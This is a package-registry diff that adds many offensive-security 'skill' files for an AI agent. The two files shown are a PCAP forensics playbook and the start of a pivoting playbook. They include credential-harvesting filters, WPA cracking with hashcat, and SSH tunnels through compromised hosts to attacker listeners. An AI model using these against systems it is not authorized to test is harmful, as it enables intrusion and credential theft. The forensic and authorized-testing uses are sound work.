ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,341 @@
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+ ---
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+ name: traffic-analysis-pcap
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+ description: >-
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+ Traffic analysis and PCAP forensics playbook. Use when analyzing network captures including Wireshark filters, protocol analysis (HTTP/DNS/FTP/SMTP/USB/WiFi), data extraction, covert channel detection, PCAP repair, TLS decryption, and tshark command-line analysis.gated: true
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+ ---
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+
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+ # SKILL: Traffic Analysis & PCAP — Expert Analysis Playbook
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+
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+ > **AI LOAD INSTRUCTION**: Expert traffic analysis and PCAP forensics techniques. Covers PCAP repair, Wireshark essential filters, protocol-specific analysis (HTTP, HTTPS/TLS, DNS, FTP, SMTP, USB HID, WiFi, ICMP), data extraction (file carving, credential harvesting, covert channels), NetworkMiner, and tshark CLI analysis. Base models miss USB keyboard decode patterns, DNS tunneling detection heuristics, and TLS decryption workflows.
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+
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+ ## 0. RELATED ROUTING
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+
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+ Before going deep, consider loading:
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+
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+ - [memory-forensics-volatility](../memory-forensics-volatility/SKILL.md) for correlating memory artifacts with network traffic
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+ - [steganography-techniques](../steganography-techniques/SKILL.md) for analyzing files extracted from traffic captures
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+ - [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for understanding attack patterns visible in captures
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+ - [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) for identifying shell traffic in captures
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+
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+ ---
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+
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+ ## 1. PCAP REPAIR
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+
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+ ```bash
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+ pcapfix corrupted.pcap -o fixed.pcap # repair corrupted PCAP
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+ # Magic bytes: d4c3b2a1=pcap(LE), a1b2c3d4=pcap(BE), 0a0d0d0a=pcapng
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+ editcap -F pcap capture.pcapng capture.pcap # convert pcapng→pcap
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+ mergecap -w merged.pcap file1.pcap file2.pcap # merge captures
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+ ```
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+
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+ ---
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+
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+ ## 2. WIRESHARK ESSENTIAL FILTERS
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+
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+ ### IP / Host Filters
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+
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+ ```
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+ ip.addr == 10.0.0.1 # source or destination
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+ ip.src == 10.0.0.1 # source only
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+ ip.dst == 10.0.0.1 # destination only
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+ ip.addr == 10.0.0.0/24 # subnet
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+ !(ip.addr == 10.0.0.1) # exclude host
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+ ```
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+
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+ ### Protocol Filters
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+
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+ ```
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+ http # all HTTP
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+ dns # all DNS
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+ tcp # all TCP
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+ ftp # all FTP
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+ smtp # all SMTP
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+ tls # all TLS/SSL
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+ icmp # all ICMP
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+ arp # all ARP
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+ ```
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+
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+ ### TCP / Stream
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+
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+ ```
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+ tcp.stream eq 5 # follow specific TCP stream
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+ tcp.port == 80 # traffic on port 80
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+ tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN packets (connection starts)
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+ tcp.analysis.retransmission # retransmitted packets
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+ tcp.len > 0 # packets with payload
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+ ```
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+
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+ ### HTTP
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+
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+ ```
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+ http.request.method == "POST" # POST requests
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+ http.request.method == "GET" # GET requests
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+ http.response.code == 200 # successful responses
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+ http.response.code >= 400 # error responses
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+ http.request.uri contains "login" # URI contains string
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+ http.host contains "target.com" # specific host
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+ http.content_type contains "json" # JSON responses
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+ http.cookie contains "session" # session cookies
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+ http.request.full_uri # show full URIs (column)
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+ ```
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+
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+ ### DNS
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+
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+ ```
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+ dns.qry.name contains "evil.com" # specific domain queries
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+ dns.qry.type == 1 # A records
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+ dns.qry.type == 28 # AAAA records
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+ dns.qry.type == 16 # TXT records
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+ dns.flags.response == 1 # DNS responses only
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+ dns.resp.len > 100 # large DNS responses
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+ ```
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+
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+ ### TLS
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+
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+ ```
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+ tls.handshake.type == 1 # Client Hello
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+ tls.handshake.type == 2 # Server Hello
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+ tls.handshake.extensions.server_name # SNI (hostname)
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+ tls.handshake.type == 11 # Certificate
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+ ```
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+
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+ ### Content Search
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+
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+ ```
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+ frame contains "password" # search in raw bytes
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+ frame contains "flag{" # CTF flag pattern
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+ tcp contains "admin" # search in TCP payload
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+ ```
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+
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+ ---
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+
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+ ## 3. PROTOCOL ANALYSIS
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+
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+ ### HTTP — Follow Stream & Extract
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+
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+ ```
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+ Right-click packet → Follow → TCP Stream
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+ # Shows full HTTP request/response conversation
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+
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+ # File extraction:
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+ # File → Export Objects → HTTP → Save All
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+
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+ # Useful filters for credential hunting:
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+ http.request.method == "POST" && frame contains "password"
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+ http.request.method == "POST" && frame contains "login"
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+ http.authbasic # Basic auth (base64 encoded)
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+ ```
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+
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+ ### HTTPS / TLS Decryption
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+
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+ ```bash
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+ # Method 1: SSLKEYLOGFILE (pre-master secrets from browser)
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+ # Set environment variable BEFORE opening browser:
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+ export SSLKEYLOGFILE=/tmp/sslkeys.log
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+ firefox https://target.com
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+
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+ # Wireshark: Edit → Preferences → Protocols → TLS
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+ # → (Pre)-Master-Secret log filename: /tmp/sslkeys.log
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+
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+ # Method 2: Server private key (for RSA key exchange only)
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+ # Wireshark: Edit → Preferences → Protocols → TLS → RSA keys list
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+ # → Add: IP, Port, Protocol, Key file (.pem)
143
+ ```
144
+
145
+ ### DNS — Tunneling Detection
146
+
147
+ ```bash
148
+ # Indicators of DNS tunneling:
149
+ # 1. Unusually long subdomain names (>30 chars)
150
+ # 2. High volume of TXT record queries/responses
151
+ # 3. Consistent query patterns to same domain
152
+ # 4. Base32/Base64-like subdomain strings
153
+ # 5. High query frequency from single host
154
+
155
+ # Wireshark filter for suspicious DNS:
156
+ dns.qry.name.len > 50 # long query names
157
+ dns.qry.type == 16 # TXT records (common for tunneling)
158
+ dns.resp.len > 512 # large DNS responses
159
+
160
+ # tshark extraction:
161
+ tshark -r capture.pcap -Y "dns.qry.type==16" -T fields -e dns.qry.name
162
+ ```
163
+
164
+ ### FTP — Credential & File Extraction
165
+
166
+ ```bash
167
+ # FTP credentials (plaintext)
168
+ # Filter: ftp.request.command == "USER" || ftp.request.command == "PASS"
169
+
170
+ # FTP file transfer reconstruction:
171
+ # FTP uses separate data channel (usually port 20 or dynamic)
172
+ # Follow TCP stream of data connection to extract file
173
+
174
+ # tshark:
175
+ tshark -r capture.pcap -Y "ftp.request.command==USER || ftp.request.command==PASS" -T fields -e ftp.request.arg
176
+ ```
177
+
178
+ ### SMTP — Email Content Extraction
179
+
180
+ ```bash
181
+ # Follow TCP stream → MAIL FROM/RCPT TO/DATA sections
182
+ # Attachments: base64 in MIME → decode Content-Transfer-Encoding blocks
183
+ # Filters:
184
+ smtp.req.command == "AUTH" # authentication (often base64)
185
+ smtp contains "Content-Disposition: attachment" # attachments
186
+ ```
187
+
188
+ ### USB — Keyboard HID Capture Decode
189
+
190
+ ```bash
191
+ # USB HID keyboard traffic: interrupt transfers with 8-byte data
192
+ # Filter: usb.transfer_type == 0x01
193
+
194
+ # Extract keystrokes:
195
+ tshark -r usb.pcap -Y "usb.capdata && usb.data_len == 8" -T fields -e usb.capdata > keystrokes.txt
196
+
197
+ # HID keycode layout: byte[0]=modifier, byte[2]=keycode
198
+ # 0x04=a..0x1d=z, 0x1e=1..0x27=0, 0x28=Enter, 0x2c=Space
199
+ # Use Python/online HID decoder to convert keycodes → text
200
+ ```
201
+
202
+ ### WiFi — WPA Handshake
203
+
204
+ ```bash
205
+ # Capture: airodump-ng --bssid AP_MAC -w capture wlan0mon
206
+ # Convert + crack: hcxpcapngtool -o hash.hc22000 capture.pcap
207
+ hashcat -m 22000 hash.hc22000 wordlist.txt
208
+ # Deauth detection: wlan.fc.type_subtype == 0x0c
209
+ ```
210
+
211
+ ### ICMP — Data Exfiltration
212
+
213
+ ```bash
214
+ # ICMP payload analysis
215
+ # Normal ping: 32 or 64 bytes of pattern data
216
+ # Exfiltration: meaningful data in ICMP payload
217
+
218
+ # Filter:
219
+ icmp && data.len > 48 # unusual ICMP payload size
220
+ icmp.type == 8 # echo requests
221
+
222
+ # Extract ICMP payloads:
223
+ tshark -r capture.pcap -Y "icmp.type==8" -T fields -e data.data
224
+ ```
225
+
226
+ ---
227
+
228
+ ## 4. DATA EXTRACTION
229
+
230
+ ### File Carving
231
+
232
+ ```bash
233
+ # Wireshark: File → Export Objects
234
+ # Supported: HTTP, SMB, TFTP, IMF (email), DICOM
235
+
236
+ # Manual from reassembled stream:
237
+ # Follow TCP Stream → Show as Raw → Save As
238
+
239
+ # binwalk on exported stream data
240
+ binwalk -e exported_stream.bin
241
+ foremost -i exported_stream.bin -o carved/
242
+ ```
243
+
244
+ ### Credential Harvesting
245
+
246
+ ```bash
247
+ # Plaintext: ftp || telnet || http.authbasic || smtp || pop || imap
248
+ # NTLM: ntlmssp.auth.username → extract challenge/response from NTLMSSP messages
249
+ # Hash format: user::domain:challenge:NTProofStr:blob → hashcat -m 5600
250
+ ```
251
+
252
+ ### Covert Channel Detection
253
+
254
+ Indicators: DNS with long subdomains, ICMP with large payloads, HTTP with encoded headers, regular beacon intervals (C2). Use `tshark -q -z io,stat,1` and `-z conv,tcp` for statistical anomaly detection.
255
+
256
+ ---
257
+
258
+ ## 5. NETWORKMINER
259
+
260
+ ```bash
261
+ # Automated PCAP analysis: sudo apt install networkminer
262
+ # Open PCAP → auto-extracts: Files, Images, Credentials, Sessions, DNS
263
+ # Files tab: carved from HTTP/SMB/FTP | Credentials tab: plaintext creds
264
+ ```
265
+
266
+ ---
267
+
268
+ ## 6. TSHARK COMMAND-LINE ANALYSIS
269
+
270
+ ```bash
271
+ tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
272
+ tshark -r capture.pcap -Y "dns.flags.response==0" -T fields -e dns.qry.name | sort -u
273
+ tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data
274
+ tshark -r capture.pcap -q -z io,stat,1 # I/O graph
275
+ tshark -r capture.pcap -q -z conv,tcp # TCP conversations
276
+ tshark -r capture.pcap -q -z endpoints,ip # IP endpoints
277
+ tshark -r capture.pcap -q -z io,phs # protocol hierarchy
278
+ tshark -r capture.pcap -q -z follow,tcp,ascii,0 # follow stream 0
279
+ tshark -r capture.pcap --export-objects http,/tmp/exported/
280
+ ```
281
+
282
+ ---
283
+
284
+ ## 7. DECISION TREE
285
+
286
+ ```
287
+ PCAP file for analysis
288
+
289
+ ├── File won't open?
290
+ │ ├── Check magic bytes: xxd | head (§1)
291
+ │ ├── Repair: pcapfix (§1)
292
+ │ └── Convert: editcap pcapng→pcap (§1)
293
+
294
+ ├── What's in the capture? (Quick overview)
295
+ │ ├── tshark -q -z io,phs (protocol hierarchy) (§6)
296
+ │ ├── tshark -q -z conv,tcp (conversations) (§6)
297
+ │ └── tshark -q -z endpoints,ip (endpoints) (§6)
298
+
299
+ ├── HTTP traffic?
300
+ │ ├── Export objects: File → Export Objects → HTTP (§4)
301
+ │ ├── Credential hunt: POST + password/login filters (§3)
302
+ │ ├── Follow streams: interesting request/response pairs (§3)
303
+ │ └── Encrypted (HTTPS)? → need SSLKEYLOGFILE or RSA key (§3)
304
+
305
+ ├── DNS traffic?
306
+ │ ├── Long subdomains? → DNS tunneling (§3)
307
+ │ ├── High TXT record volume? → DNS exfiltration (§3)
308
+ │ ├── Extract all queries: tshark -Y dns -T fields -e dns.qry.name (§6)
309
+ │ └── DNS rebinding? → check for alternating A record responses
310
+
311
+ ├── FTP / Telnet / SMTP?
312
+ │ ├── Extract credentials (plaintext) (§3)
313
+ │ ├── Reconstruct file transfers (follow data stream) (§3)
314
+ │ └── Email content and attachments (base64 decode) (§3)
315
+
316
+ ├── USB traffic?
317
+ │ ├── Keyboard HID → decode keystrokes (§3)
318
+ │ ├── Storage → extract transferred files
319
+ │ └── Check transfer_type and data_len fields
320
+
321
+ ├── WiFi traffic?
322
+ │ ├── WPA handshake → crack with hashcat (§3)
323
+ │ ├── Deauth frames → detect attack (§3)
324
+ │ └── Probe requests → device fingerprinting
325
+
326
+ ├── ICMP traffic?
327
+ │ ├── Large/variable payloads → data exfiltration (§3)
328
+ │ ├── Regular pattern → ICMP tunnel (§3)
329
+ │ └── Extract payloads: tshark -Y icmp -T fields -e data.data
330
+
331
+ ├── Suspicious patterns?
332
+ │ ├── Regular beacon interval → C2 communication (§4)
333
+ │ ├── Unusual port/protocol combos → covert channel (§4)
334
+ │ ├── High volume to single external IP → data exfil (§4)
335
+ │ └── Encrypted traffic without SNI → suspicious tunnel
336
+
337
+ └── Need automated extraction?
338
+ ├── NetworkMiner for files/creds/images (§5)
339
+ ├── tshark --export-objects for HTTP/SMB files (§6)
340
+ └── binwalk/foremost on exported streams (§4)
341
+ ```
@@ -0,0 +1,343 @@
1
+ ---
2
+ name: tunneling-and-pivoting
3
+ description: >-
4
+ Tunneling and pivoting playbook. Use when establishing network tunnels through compromised hosts including SSH tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, ProxyChains, and multi-layer pivoting strategies.gated: true
5
+ ---
6
+
7
+ # SKILL: Tunneling & Pivoting — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert tunneling and pivoting techniques. Covers SSH port forwarding (local/remote/dynamic/jump), Chisel reverse SOCKS, Ligolo-ng transparent TUN pivoting, socat relays, DNS/ICMP/HTTP tunneling, ProxyChains configuration, Windows pivoting (netsh/plink), and multi-layer chaining. Base models miss egress-aware tool selection and transparent routing setup.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for network-level attacks from pivot positions
16
+ - [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) for establishing initial access shells
17
+ - [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered through pivots
18
+ - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) or [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) after pivoting to new hosts
19
+
20
+ ---
21
+
22
+ ## 1. SSH TUNNELING
23
+
24
+ ### Local Port Forward
25
+
26
+ Forward a local port to a remote service through the pivot.
27
+
28
+ ```bash
29
+ # Access INTERNAL_HOST:3306 via localhost:3306
30
+ ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N
31
+
32
+ # Access internal web app
33
+ ssh -L 8080:10.10.10.100:80 user@PIVOT -N
34
+ # Browse: http://localhost:8080
35
+
36
+ # Bind to all interfaces (share with teammates)
37
+ ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N
38
+ ```
39
+
40
+ ### Remote Port Forward
41
+
42
+ Expose a local service to the pivot host's network.
43
+
44
+ ```bash
45
+ # Make attacker's port 8000 accessible on pivot as pivot:9000
46
+ ssh -R 9000:127.0.0.1:8000 user@PIVOT -N
47
+
48
+ # Expose attacker's listener to internal network
49
+ ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N
50
+ # Internal hosts connect to PIVOT:4444 → reaches attacker:4444
51
+ ```
52
+
53
+ ### Dynamic Port Forward (SOCKS Proxy)
54
+
55
+ ```bash
56
+ # Create SOCKS4/5 proxy on localhost:1080
57
+ ssh -D 1080 user@PIVOT -N
58
+
59
+ # Use with proxychains
60
+ echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
61
+ proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24
62
+
63
+ # Or with browser SOCKS proxy → browse internal web apps
64
+ ```
65
+
66
+ ### Jump Host (ProxyJump)
67
+
68
+ ```bash
69
+ # Single jump
70
+ ssh -J jumphost user@TARGET
71
+
72
+ # Multiple jumps
73
